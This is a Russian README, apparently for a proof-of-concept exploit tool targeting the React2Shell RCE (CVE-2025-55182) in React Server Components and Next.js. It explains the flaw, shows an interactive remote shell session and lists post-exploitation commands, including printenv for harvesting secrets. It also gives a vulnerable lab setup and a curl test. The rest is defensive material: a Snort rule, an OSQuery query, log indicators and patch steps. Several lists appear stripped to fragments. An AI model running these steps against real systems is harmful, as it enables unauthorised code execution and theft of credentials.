
Полноценный proof-of-concept эксплойт и образовательный ресурс для CVE-2025-55182, критической уязвимости удалённого выполнения кода, затрагивающей React Server Components, с оценкой CVSS 10.0.
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ
Этот инструмент предоставляется исключительно для образовательных целей и авторизованного тестирования безопасности. Неавторизованный доступ к компьютерным системам является незаконным согласно различным законам, включая Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) в США и аналогичное законодательство по всему миру.
Вы обязаны:
Автор и участники:
Используя этот инструмент, вы подтверждаете, что понимаете и соглашаетесь с этими условиями.
React2Shell — это критическая уязвимость, обнаруженная в декабре 2025 года, которая затрагивает React Server Components (RSC) и фреймворки, реализующие их, особенно Next.js. Уязвимость позволяет неаутентифицированное удалённое выполнение кода с помощью одного специально сформированного HTTP-запроса.
Этот репозиторий содержит:
create-next-app, эксплуатируемыУязвимые версии:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Исправленные версии:
Уязвимые версии:
Исправленные версии:
Уязвимость находится в функции requireModule в логике десериализации React Server Components:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
Уязвимость позволяет атакующим обходить прототипную цепочку JavaScript через протокол React Flight, получая доступ к конструктору Function через свойства вида constructor.constructor, что приводит к выполнению произвольного кода.
__proto__ для создания самореферентной структурыconstructor.constructor, чтобы добраться до Function()child_process.execSync()┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| Команда | Описание |
|---|---|
<any shell command> | Выполнить команду на целевой системе |
help | Показать справочное сообщение |
exit / / |
Разверните это правило Snort для обнаружения попыток эксплуатации:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
Логика обнаружения:
Next-Action (специфичен для RSC)multipart/form-dataname="0", status: "resolved_model", then: "$1:__proto__:then"Используйте это правило OSQuery для поиска уязвимых версий пакетов:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detects vulnerable versions of React Server Components packages affected by CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
Преимущества:
Ищите эти паттерны в журналах вашего приложения:
- HTTP POST requests with "Next-Action" header
- Unusual multipart/form-data requests to application root
- Error messages containing "NEXT_REDIRECT" with unexpected digest values
- Spike in 500 errors with React-related stack traces
- Child process spawning from Node.js (execSync, spawn, exec)
# Check current versions
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# Update React to patched version
npm install [email protected] [email protected]
# Update Next.js to latest patched version
npm install next@latest
# Verify updates
npm list react react-dom next
# Clear cache and rebuild
rm -rf .next node_modules package-lock.json
npm install
npm run build
Блокируйте подозрительные паттерны:
- Requests with "Next-Action" header from untrusted sources
- Multipart form data with suspicious JSON structures
- Requests matching exploit signature patterns
# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check for vulnerable React packages
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
Настройте оповещения для:
# Create a new Next.js app with vulnerable version
npx [email protected] vulnerable-app
cd vulnerable-app
# Install vulnerable React version
npm install [email protected] [email protected]
# Start the development server
npm run dev
Создайте Dockerfile:
FROM node:18-alpine
WORKDIR /app
# Create a basic Next.js app
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Install vulnerable React versions
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
Сборка и запуск:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
Создайте docker-compose.yml:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
Запуск:
docker-compose up -d
Проверьте с помощью curl:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
Вклад приветствуется! Пожалуйста, следуйте этим рекомендациям:
git checkout -b feature/improvement)git commit -am 'Add new detection method')git push origin feature/improvement)Этот проект распространяется под лицензией MIT — подробнее см. в файле LICENSE.
Tinashe
Cerberus Secure — подразделение кибербезопасности iConnect SA, специализирующееся на:
Эта уязвимость была ответственно раскрыта исследователями безопасности команде React. Данный PoC публикуется после:
Хронология:
Помните: используйте этот инструмент ответственно и только на системах, которые вам разрешено тестировать.
По вопросам, проблемам или замечаниям по безопасности этого репозитория, пожалуйста, создайте issue или свяжитесь с мейнтейнером напрямую.
| Поле | Детали |
|---|
| Идентификатор CVE | CVE-2025-55182 |
| Оценка CVSS | 10.0 (критическая) |
| Вектор атаки | Сетевой |
| Сложность атаки | Низкая |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Не требуется |
| Воздействие | Полная компрометация системы (RCE) |
| Дата раскрытия | Декабрь 2025 г. |
quitq| Выйти из инструмента |